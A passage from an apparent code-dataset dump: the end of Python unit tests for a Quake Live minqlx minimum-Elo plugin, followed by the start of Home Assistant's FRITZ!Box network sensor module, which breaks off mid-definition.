mocked_channel()\n\n self.plugin.database = Redis\n self.db = mock(Redis)\n self.plugin._db_instance = self.db\n\n when(self.db).__getitem__(any).thenReturn(\"42\")\n\n def tearDown(self):\n unstub()\n\n def setup_balance_ratings(self, player_elos):\n gametype = None\n if len(player_elos) > 0:\n gametype = self.plugin.game.type_short\n ratings = {}\n for player, elo in player_elos:\n ratings[player.steam_id] = {gametype: {'elo': elo}}\n self.plugin._loaded_plugins[\"balance\"] = mock({'ratings': ratings})\n\n def setup_no_balance_plugin(self):\n if \"balance\" in self.plugin._loaded_plugins:\n del self.plugin._loaded_plugins[\"balance\"]\n\n def setup_exception_list(self, players):\n mybalance_plugin = mock(Plugin)\n mybalance_plugin.exceptions = [player.steam_id for player in players]\n self.plugin._loaded_plugins[\"mybalance\"] = mybalance_plugin\n\n def test_handle_map_change_resets_tracked_player_ids(self):\n connected_players()\n self.setup_balance_ratings([])\n self.plugin.tracked_player_sids = [123, 455]\n\n self.plugin.handle_map_change(\"campgrounds\", \"ca\")\n\n assert_that(self.plugin.tracked_player_sids, is_([]))\n\n def test_handle_map_change_resets_announced_player_ids(self):\n connected_players()\n self.setup_balance_ratings([])\n self.plugin.announced_player_elos = [123, 455]\n\n self.plugin.handle_map_change(\"campgrounds\", \"ca\")\n\n assert_that(self.plugin.announced_player_elos, is_([]))\n\n def test_handle_map_change_fetches_elos_of_connected_players(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 1200)})\n\n self.plugin.handle_map_change(\"thunderstruck\", \"ca\")\n\n verify(self.plugin._loaded_plugins[\"balance\"]).add_request(\n {player1.steam_id: 'ca', player2.steam_id: 'ca'},\n self.plugin.callback_ratings, CHAT_CHANNEL\n )\n\n def test_handle_player_connect_fetches_elo_of_connecting_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connecting_player = fake_player(789, \"Connecting Player\")\n connected_players(player1, player2, connecting_player)\n self.setup_balance_ratings({(player1, 900), (player2, 1200), (connecting_player, 1542)})\n\n self.plugin.handle_player_connect(connecting_player)\n\n verify(self.plugin._loaded_plugins[\"balance\"]).add_request(\n {connecting_player.steam_id: 'ca'},\n self.plugin.callback_ratings, CHAT_CHANNEL\n )\n\n def test_fetch_elos_of_players_with_no_game_setup(self):\n setup_no_game()\n self.setup_balance_ratings({})\n\n self.plugin.fetch_elos_of_players([])\n\n verify(self.plugin._loaded_plugins[\"balance\"], times=0).add_request(any, any, any)\n\n def test_fetch_elos_of_players_with_unsupported_gametype(self):\n setup_game_in_progress(\"unsupported\")\n self.setup_balance_ratings({})\n\n self.plugin.fetch_elos_of_players([])\n\n verify(self.plugin._loaded_plugins[\"balance\"], times=0).add_request(any, any, any)\n\n def test_fetch_elos_of_player_with_no_balance_plugin(self):\n mocked_logger = mock(spec=logging.Logger)\n spy2(minqlx.get_logger)\n when(minqlx).get_logger(self.plugin).thenReturn(mocked_logger)\n self.setup_no_balance_plugin()\n\n self.plugin.fetch_elos_of_players([])\n\n verify(mocked_logger).warning(matches(\"Balance plugin not found.*\"))\n\n def test_handle_round_countdown_with_no_game(self):\n setup_no_game()\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Speccing Player\", team=\"spectator\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({})\n\n self.plugin.handle_round_countdown(1)\n\n verify(self.plugin._loaded_plugins[\"balance\"], times=0).add_request(any, any, any)\n\n def test_handle_round_countdown_fetches_elos_of_players_in_teams(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Speccing Player\", team=\"spectator\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({(player1, 900), (player2, 1200), (player3, 1600)})\n\n self.plugin.handle_round_countdown(4)\n\n verify(self.plugin._loaded_plugins[\"balance\"]).add_request(\n {player1.steam_id: 'ca', player2.steam_id: 'ca'},\n self.plugin.callback_ratings, CHAT_CHANNEL\n )\n\n def test_callback_ratings_with_no_game_running(self):\n setup_no_game()\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Speccing Player\", team=\"spectator\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({})\n\n self.plugin.callback_ratings([], minqlx.CHAT_CHANNEL)\n\n verify(self.db, times=0).get(any)\n\n def test_callback_ratings_with_unsupported_game_type(self):\n setup_game_in_progress(\"unsupported\")\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Speccing Player\", team=\"spectator\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({})\n\n self.plugin.callback_ratings([], minqlx.CHAT_CHANNEL)\n\n verify(self.db, times=0).get(any)\n\n def test_callback_ratings_warns_low_elo_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n patch(minqlx.next_frame, lambda func: func)\n patch(minqlx.thread, lambda func: func)\n patch(time.sleep, lambda int: None)\n when(self.db).get(any).thenReturn(\"2\")\n\n self.plugin.callback_ratings([player1, player2], minqlx.CHAT_CHANNEL)\n\n verify(player2, times=12).center_print(matches(\".*Skill warning.*8.*matches left.*\"))\n verify(player2).tell(matches(\".*Skill Warning.*qlstats.*below.*800.*8.*of 10 application matches.*\"))\n\n def test_callback_ratings_announces_information_to_other_players(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n patch(minqlx.next_frame, lambda func: func)\n patch(minqlx.thread, lambda func: func)\n patch(time.sleep, lambda int: None)\n when(self.db).get(any).thenReturn(\"2\")\n\n self.plugin.callback_ratings([player1, player2], minqlx.CHAT_CHANNEL)\n\n assert_plugin_sent_to_console(matches(\"Fake Player2.*is below.*, but has.*8.*application matches left.*\"))\n\n def test_callback_ratings_announces_information_to_other_players_just_once_per_connect(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n self.plugin.announced_player_elos = [456]\n\n patch(minqlx.next_frame, lambda func: func)\n patch(minqlx.thread, lambda func: func)\n patch(time.sleep, lambda int: None)\n when(self.db).get(any).thenReturn(\"2\")\n\n self.plugin.callback_ratings([player1, player2], minqlx.CHAT_CHANNEL)\n\n assert_plugin_sent_to_console(matches(\"Player.*is below.*, but has 8 application matches left.*\"), times=0)\n\n def test_callback_ratings_makes_exception_for_player_in_exception_list(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Fake Player3\", team=\"red\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({(player1, 900), (player2, 799), (player3, 600)})\n self.setup_exception_list([player3])\n\n patch(minqlx.next_frame, lambda func: func)\n patch(minqlx.thread, lambda func: func)\n patch(time.sleep, lambda int: None)\n when(self.db).get(any).thenReturn(\"2\")\n\n self.plugin.callback_ratings([player1, player2, player3], minqlx.CHAT_CHANNEL)\n\n verify(player2, times=12).center_print(matches(\".*Skill warning.*8.*matches left.*\"))\n verify(player2).tell(matches(\".*Skill Warning.*qlstats.*below.*800.*8.*of 10 application matches.*\"))\n verify(player3, times=0).center_print(any)\n verify(player3, times=0).tell(any)\n\n def test_callback_ratings_warns_low_elo_player_when_application_games_not_set(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n patch(minqlx.next_frame, lambda func: func)\n patch(minqlx.thread, lambda func: func)\n patch(time.sleep, lambda int: None)\n when(self.db).get(any).thenReturn(None)\n\n self.plugin.callback_ratings([player1, player2], minqlx.CHAT_CHANNEL)\n\n verify(player2, times=12).center_print(matches(\".*Skill warning.*10.*matches left.*\"))\n verify(player2).tell(matches(\".*Skill Warning.*qlstats.*below.*800.*10.*of 10 application matches.*\"))\n\n def test_callback_ratings_bans_low_elo_players_that_used_up_their_application_games(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n when(self.db).get(any).thenReturn(\"11\")\n spy2(minqlx.COMMANDS.handle_input)\n when2(minqlx.COMMANDS.handle_input, any, any, any).thenReturn(None)\n\n patch(minqlx.PlayerInfo, lambda *args: mock(spec=minqlx.PlayerInfo))\n patch(minqlx.next_frame, lambda func: func)\n\n when(self.db).delete(any).thenReturn(None)\n\n self.plugin.callback_ratings([player1, player2], minqlx.CHAT_CHANNEL)\n\n verify(minqlx.COMMANDS).handle_input(any, any, any)\n verify(self.db).delete(\"minqlx:players:{}:minelo:abovegames\".format(player2.steam_id))\n verify(self.db).delete(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id))\n\n def test_handle_round_start_increases_application_games_for_untracked_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(False)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).incr(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id))\n\n def test_handle_round_start_makes_exception_for_player_in_exception_list(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Fake Player3\", team=\"red\")\n connected_players(player1, player2, player3)\n self.setup_balance_ratings({(player1, 900), (player2, 799), (player3, 600)})\n self.setup_exception_list([player3])\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(False)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).incr(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id))\n verify(self.db, times=0).incr(\"minqlx:players:{}:minelo:freegames\".format(player3.steam_id))\n\n def test_handle_round_start_starts_tracking_for_low_elo_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(False)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n assert_that(self.plugin.tracked_player_sids, has_item(player2.steam_id))\n\n def test_handle_round_start_resets_above_games_for_low_elo_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(True)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).delete(\"minqlx:players:{}:minelo:abovegames\".format(player2.steam_id))\n\n def test_handle_round_start_increases_above_games_for_application_games_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 801)})\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(True)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).incr(\"minqlx:players:{}:minelo:abovegames\".format(player2.steam_id))\n\n def test_handle_round_start_increases_above_games_for_application_games_player_with_no_aobve_games_set(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 801)})\n\n when(self.db).get(any).thenReturn(\"1\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(True)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).incr(\"minqlx:players:{}:minelo:abovegames\".format(player2.steam_id))\n\n def test_handle_round_start_starts_tracking_of_above_elo_players_for_application_games_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 801)})\n\n when(self.db).get(any).thenReturn(\"3\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(True)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n assert_that(self.plugin.tracked_player_sids, has_item(player2.steam_id))\n\n def test_handle_round_start_removes_minelo_db_entries_for_above_elo_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({(player1, 900), (player2, 801)})\n\n when(self.db).get(any).thenReturn(\"11\")\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(True)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db).delete(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id))\n verify(self.db).delete(\"minqlx:players:{}:minelo:abovegames\".format(player2.steam_id))\n\n def test_handle_round_start_skips_already_tracked_player(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.plugin.tracked_player_sids.append(player2.steam_id)\n self.setup_balance_ratings({(player1, 900), (player2, 799)})\n\n when(self.db).get(any).thenReturn(3)\n when(self.db).delete(any).thenReturn(None)\n when(self.db).exists(any).thenReturn(False)\n when(self.db).incr(any).thenReturn(None)\n\n self.plugin.handle_round_start(1)\n\n verify(self.db, times=0).delete(any)\n verify(self.db, times=0).delete(any)\n\n def test_handle_round_start_with_unsupported_gametype(self):\n setup_game_in_progress(\"unsupported\")\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n self.setup_balance_ratings({})\n\n self.plugin.handle_round_start(2)\n\n verify(self.plugin._loaded_plugins[\"balance\"], times=0).add_request(any, any, any)\n\n def test_handle_round_start_with_no_balance_plugin(self):\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n connected_players(player1, player2)\n mocked_logger = mock(spec=logging.Logger)\n spy2(minqlx.get_logger)\n when(minqlx).get_logger(self.plugin).thenReturn(mocked_logger)\n self.setup_no_balance_plugin()\n\n self.plugin.handle_round_start(5)\n\n verify(mocked_logger, atleast=1).warning(matches(\"Balance plugin not found.*\"))\n\n def test_cmd_mercis_shows_currently_connected_merciful_players(self):\n player = fake_player(666, \"Cmd using Player\")\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Fake Player3\", team=\"blue\")\n connected_players(player, player1, player2, player3)\n self.setup_balance_ratings({(player, 1400), (player1, 801), (player2, 799), (player3, 900)})\n\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player1.steam_id)).thenReturn(\"2\")\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id)).thenReturn(\"3\")\n when(self.db).get(\"minqlx:players:{}:minelo:abovegames\".format(player1.steam_id)).thenReturn(\"6\")\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player.steam_id)).thenReturn(None)\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player3.steam_id)).thenReturn(None)\n\n self.plugin.cmd_mercis(player, [\"!mercis\"], self.reply_channel)\n\n assert_channel_was_replied(self.reply_channel, matches(\"Fake Player1 \\(elo: 801\\):.*8.*application matches \"\n \"left,.*6.*matches above.*\"))\n assert_channel_was_replied(self.reply_channel, matches(\"Fake Player2 \\(elo: 799\\):.*7.*application matches \"\n \"left\"))\n\n def test_cmd_mercis_replies_to_main_cbannel_instead_of_team_chat(self):\n self.addCleanup(self.reset_chat_channel, minqlx.CHAT_CHANNEL)\n minqlx.CHAT_CHANNEL = mocked_channel()\n player = fake_player(666, \"Cmd using Player\")\n player1 = fake_player(123, \"Fake Player1\", team=\"red\")\n player2 = fake_player(456, \"Fake Player2\", team=\"blue\")\n player3 = fake_player(789, \"Fake Player3\", team=\"blue\")\n connected_players(player, player1, player2, player3)\n self.setup_balance_ratings({(player, 1400), (player1, 801), (player2, 799), (player3, 900)})\n\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player1.steam_id)).thenReturn(\"2\")\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player2.steam_id)).thenReturn(\"3\")\n when(self.db).get(\"minqlx:players:{}:minelo:abovegames\".format(player1.steam_id)).thenReturn(\"6\")\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player.steam_id)).thenReturn(None)\n when(self.db).get(\"minqlx:players:{}:minelo:freegames\".format(player3.steam_id)).thenReturn(None)\n\n self.plugin.cmd_mercis(player, [\"!mercis\"], minqlx.BLUE_TEAM_CHAT_CHANNEL)\n\n assert_channel_was_replied(minqlx.CHAT_CHANNEL, matches(\"Fake Player1 \\(elo: 801\\):.*8.*application matches \"\n \"left,.*6.*matches above.*\"))\n assert_channel_was_replied(minqlx.CHAT_CHANNEL, matches(\"Fake Player2 \\(elo: 799\\):.*7.*application matches \"\n \"left\"))\n\n def reset_chat_channel(self, original_chat_channel):\n minqlx.CHAT_CHANNEL = original_chat_channel\n\n def test_cmd_mercis_shows_no_mercis_if_no_player_using_their_application_matches(self):\n player = fake_player(666, \"Cmd using Player\")\n connected_players(player)\n self.setup_balance_ratings({(player, 1400)})\n\n when(self.db).get(any).thenReturn(None)\n\n self.plugin.cmd_mercis(player, [\"!mercis\"], minqlx.CHAT_CHANNEL)\n\n assert_plugin_sent_to_console(any, times=0)\n", "source": "mgaertne/minqlx-plugin-tests", "license": "BSD-3-Clause"} {"text": "\"\"\"AVM FRITZ!Box binary sensors.\"\"\"\nfrom __future__ import annotations\n\nfrom collections.abc import Callable\nfrom dataclasses import dataclass\nfrom datetime import datetime, timedelta\nimport logging\nfrom typing import Any, Literal\n\nfrom fritzconnection.core.exceptions import (\n FritzActionError,\n FritzActionFailedError,\n FritzConnectionException,\n FritzInternalError,\n FritzServiceError,\n)\nfrom fritzconnection.lib.fritzstatus import FritzStatus\n\nfrom homeassistant.components.sensor import (\n STATE_CLASS_MEASUREMENT,\n STATE_CLASS_TOTAL_INCREASING,\n SensorEntity,\n SensorEntityDescription,\n)\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import (\n DATA_GIGABYTES,\n DATA_RATE_KILOBITS_PER_SECOND,\n DATA_RATE_KILOBYTES_PER_SECOND,\n DEVICE_CLASS_TIMESTAMP,\n ENTITY_CATEGORY_DIAGNOSTIC,\n SIGNAL_STRENGTH_DECIBELS,\n)\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.util.dt import utcnow\n\nfrom .common import FritzBoxBaseEntity, FritzBoxTools\nfrom .const import DOMAIN, DSL_CONNECTION, UPTIME_DEVIATION\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef _uptime_calculation(seconds_uptime: float, last_value: datetime | None) -> datetime:\n \"\"\"Calculate uptime with deviation.\"\"\"\n delta_uptime = utcnow() - timedelta(seconds=seconds_uptime)\n\n if (\n not last_value\n or abs((delta_uptime - last_value).total_seconds()) > UPTIME_DEVIATION\n ):\n return delta_uptime\n\n return last_value\n\n\ndef _retrieve_device_uptime_state(\n status: FritzStatus, last_value: datetime\n) -> datetime:\n \"\"\"Return uptime from device.\"\"\"\n return _uptime_calculation(status.device_uptime, last_value)\n\n\ndef _retrieve_connection_uptime_state(\n status: FritzStatus, last_value: datetime | None\n) -> datetime:\n \"\"\"Return uptime from connection.\"\"\"\n return _uptime_calculation(status.connection_uptime, last_value)\n\n\ndef _retrieve_external_ip_state(status: FritzStatus, last_value: str) -> str:\n \"\"\"Return external ip from device.\"\"\"\n return status.external_ip # type: ignore[no-any-return]\n\n\ndef _retrieve_kb_s_sent_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return upload transmission rate.\"\"\"\n return round(status.transmission_rate[0] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_kb_s_received_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return download transmission rate.\"\"\"\n return round(status.transmission_rate[1] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_max_kb_s_sent_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return upload max transmission rate.\"\"\"\n return round(status.max_bit_rate[0] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_max_kb_s_received_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return download max transmission rate.\"\"\"\n return round(status.max_bit_rate[1] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_gb_sent_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return upload total data.\"\"\"\n return round(status.bytes_sent / 1000 / 1000 / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_gb_received_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return download total data.\"\"\"\n return round(status.bytes_received / 1000 / 1000 / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_link_kb_s_sent_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return upload link rate.\"\"\"\n return round(status.max_linked_bit_rate[0] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_link_kb_s_received_state(status: FritzStatus, last_value: str) -> float:\n \"\"\"Return download link rate.\"\"\"\n return round(status.max_linked_bit_rate[1] / 1000, 1) # type: ignore[no-any-return]\n\n\ndef _retrieve_link_noise_margin_sent_state(\n status: FritzStatus, last_value: str\n) -> float:\n \"\"\"Return upload noise margin.\"\"\"\n return status.noise_margin[0] / 10 # type: ignore[no-any-return]\n\n\ndef _retrieve_link_noise_margin_received_state(\n status: FritzStatus, last_value: str\n) -> float:\n \"\"\"Return download noise margin.\"\"\"\n return status.noise_margin[1] / 10 # type: ignore[no-any-return]\n\n\ndef _retrieve_link_attenuation_sent_state(\n status: FritzStatus, last_value: str\n) -> float:\n \"\"\"Return upload line attenuation.\"\"\"\n return status.attenuation[0] / 10 # type: ignore[no-any-return]\n\n\ndef _retrieve_link_attenuation_received_state(\n status: FritzStatus, last_value: str\n) -> float:\n \"\"\"Return download line attenuation.\"\"\"\n return status.attenuation[1] / 10 # type: ignore[no-any-return]\n\n\n@dataclass\nclass FritzRequireKeysMixin:\n \"\"\"Fritz sensor data class.\"\"\"\n\n value_fn: Callable[[FritzStatus, Any], Any]\n\n\n@dataclass\nclass FritzSensorEntityDescription(SensorEntityDescription, FritzRequireKeysMixin):\n \"\"\"Describes Fritz sensor entity.\"\"\"\n\n connection_type: Literal[\"dsl\"] | None = None\n\n\nSENSOR_TYPES: tuple[FritzSensorEntityDescription, ...] = (\n FritzSensorEntityDescription(\n key=\"external_ip\",\n name=\"External IP\",\n icon=\"mdi:earth\",\n value_fn=_retrieve_external_ip_state,\n ),\n FritzSensorEntityDescription(\n key=\"device_uptime\",\n name=\"Device Uptime\",\n device_class=DEVICE_CLASS_TIMESTAMP,\n entity_category=ENTITY_CATEGORY_DIAGNOSTIC,\n value_fn=_retrieve_device_uptime_state,\n ),\n FritzSensorEntityDescription(\n key=\"connection_uptime\",\n name=\"Connection Uptime\",\n device_class=DEVICE_CLASS_TIMESTAMP,\n entity_category=ENTITY_CATEGORY_DIAGNOSTIC,\n value_fn=_retrieve_connection_uptime_state,\n ),\n FritzSensorEntityDescription(\n key=\"kb_s_sent\",\n name=\"Upload Throughput\",\n state_class=STATE_CLASS_MEASUREMENT,\n native_unit_of_measurement=DATA_RATE_KILOBYTES_PER_SECOND,\n icon=\"mdi:upload\",\n value_fn=_retrieve_kb_s_sent_state,\n ),\n FritzSensorEntityDescription(\n key=\"kb_s_received\",\n name=\"Download Throughput\",\n state_class=STATE_CLASS_MEASUREMENT,\n native_unit_of_measurement=DATA_RATE_KILOBYTES_PER_SECOND,\n icon=\"mdi:download\",\n value_fn=_retrieve_kb_s_received_state,\n ),\n FritzSensorEntityDescription(\n key=\"max_kb_s_sent\",\n name=\"Max Connection Upload Throughput\",\n native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND,\n icon=\"mdi:upload\",\n entity_category=ENTITY_CATEGORY_DIAGNOSTIC,\n value_fn=_retrieve_max_kb_s_sent_state,\n ),\n FritzSensorEntityDescription(\n key=\"max_kb_s_received\",\n name=\"Max Connection Download Throughput\",\n native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND,\n icon=\"mdi:download\",\n entity_category=ENTITY_CATEGORY_DIAGNOSTIC,\n value_fn=_retrieve_max_kb_s_received_state,\n ),\n FritzSensorEntityDescription(\n key=\"gb_sent\",\n name=\"GB sent\",\n state_class=STATE_CLASS_TOTAL_INCREASING,\n native_unit_of_measurement=DATA_GIGABYTES,\n icon=\"mdi:upload\",\n value_fn=_retrieve_gb_sent_state,\n ),\n FritzSensorEntityDescription(\n key=\"gb_received\",\n name=\"GB received\",\n state_class=STATE_CLASS_TOTAL_INCREASING,\n native_unit_of_measurement=DATA_GIGABYTES,\n icon=\"mdi:download\",\n value_fn=_retrieve_gb_received_state,\n ),\n FritzSensorEntityDescription(\n key=\"link_kb_s_sent\",\n name=\"Link Upload Throughput\",\n native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND,\n icon=\"mdi:upload\",\n value_fn=_retrieve_link_kb_s_sent_state,\n connection_type=DSL_CONNECTION,\n ),\n FritzSensorEntityDescription(\n key=\"link_kb_s_received\",\n name=\"Link Download Throughput\",\n native_unit_of_measurement=DATA_RATE_KILOBITS_PER_SECOND,\n icon=\"mdi:download\",\n value_fn=_retrieve_link_kb_s_received_state,\n connection_type=DSL_CONNECTION,\n ),\n FritzSensorEntityDescription(\n key=\"link_noise_margin_sent\",\n name=\"Link Upload Noise Margin\",\n native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS,\n icon=\"mdi:upload\",\n value_fn=_retrieve_link_noise_margin_sent_state,\n connection_type=DSL_CONNECTION,\n ),\n FritzSensorEntityDescription(\n key=\"link_noise_margin_received\",\n name=\"Link Download Noise Margin\",\n native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS,\n icon=\"mdi:download\",\n value_fn=_retrieve_link_noise_margin_received_state,\n connection_type=DSL_CONNECTION,\n ),\n FritzSensorEntityDescription(\n key=\"link_attenuation_sent\",\n name=\"Link Upload Power Attenuation\",\n native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS,\n icon=\"mdi:upload\",\n value_fn=_retrieve_link_attenuation_sent_state,\n connection_type=DSL_CONNECTION,\n ),\n FritzSensorEntityDescription(\n key=\"link_attenuation_received\",\n name=\"Link Download Power Attenuation\",\n native_unit_of_measurement=SIGNAL_STRENGTH_DECIBELS,\n icon=\"mdi:download\",\n value_fn=_retrieve_link_attenuation_received_state,\n connection_type=DSL_CONNECTION,\n ),\n)\n\n\nasync def async_setup_entry(\n hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback\n) -> None:\n \"\"\"Set up entry.\"\"\"\n _LOGGER.debug(\"Setting up FRITZ!Box sensors\")\n fritzbox_tools: FritzBoxTools = hass.data[DOMAIN][entry.entry_id]\n\n if (\n not fritzbox_tools.connection\n or \"WANIPConn1\" not in fritzbox_tools.connection.services\n ):\n # Only routers are supported at the moment\n return\n\n dsl: bool = False\n try:\n dslinterface = await hass.async_add_executor_job(\n fritzbox_tools.connection.call_action,\n \"WANDSLInterfaceConfig:1\",\n \"GetInfo\",\n )\n dsl = dslinterface[\"NewEnable\"]\n except (\n FritzInternalError,\n FritzActionError,\n FritzActionFailedError,\n FritzServiceError,\n ):\n pass\n\n entities = [\n FritzBoxSensor(fritzbox_tools, entry.title, description)\n for description in SENSOR_TYPES\n if dsl or description.connection_type != DSL_CONNECTION\n ]\n\n async_add_entities(entities, True)\n\n\nclass FritzBoxSensor(FritzBoxBaseEntity, SensorEntity):\n \"\"\"Define FRITZ!Box connectivity class.\"\"\"\n\n entity_description: FritzSensorEntityDescription\n\n def __init__(\n self,\n fritzbox_tools: FritzBoxTools,\n device_friendly_name: str,\n description: 